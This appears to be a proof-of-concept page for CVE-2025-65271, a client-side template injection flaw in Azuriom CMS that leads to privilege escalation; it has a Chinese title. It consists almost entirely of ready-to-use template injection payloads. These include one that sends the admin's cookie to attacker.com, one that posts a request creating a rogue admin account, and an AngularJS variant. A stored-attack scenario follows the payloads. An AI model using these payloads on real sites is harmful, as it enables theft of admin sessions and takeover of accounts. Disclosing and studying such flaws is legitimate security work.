CVE-2025-65271 Azuriom CMS 客户端模板注入漏洞导致权限提升

<!-- CVE-2025-65271 PoC - Azuriom CMS Client-Side Template Injection --> <!-- Low-privilege user injects malicious template code via plugin/dashboard component --> <!-- When admin views the page, arbitrary JavaScript executes in admin context --> <!-- Example 1: Basic XSS via template injection --> {{constructor.constructor('alert(document.cookie)')()}} <!-- Example 2: Session hijacking payload --> {{{constructor.constructor('fetch("https://attacker.com/steal?c="+document.cookie)')()}}} <!-- Example 3: Privilege escalation to admin --> {{constructor.constructor('fetch("https://attacker.com/api/admin/create",{method:"POST",body:JSON.stringify({username:"hacker",password:"P@ssw0rd",role:"admin"})})')()}} <!-- Example 4: Using AngularJS template injection (if applicable) --> {{$on.constructor('alert("CSTI")')()}} <!-- Attack scenario: --> <!-- 1. Attacker (low-privilege) injects payload into plugin setting or dashboard widget --> <!-- 2. Payload is stored and rendered when admin visits the affected page --> <!-- 3. Malicious JS executes in admin browser with admin privileges --> <!-- 4. Attacker exfiltrates admin session or performs admin actions -->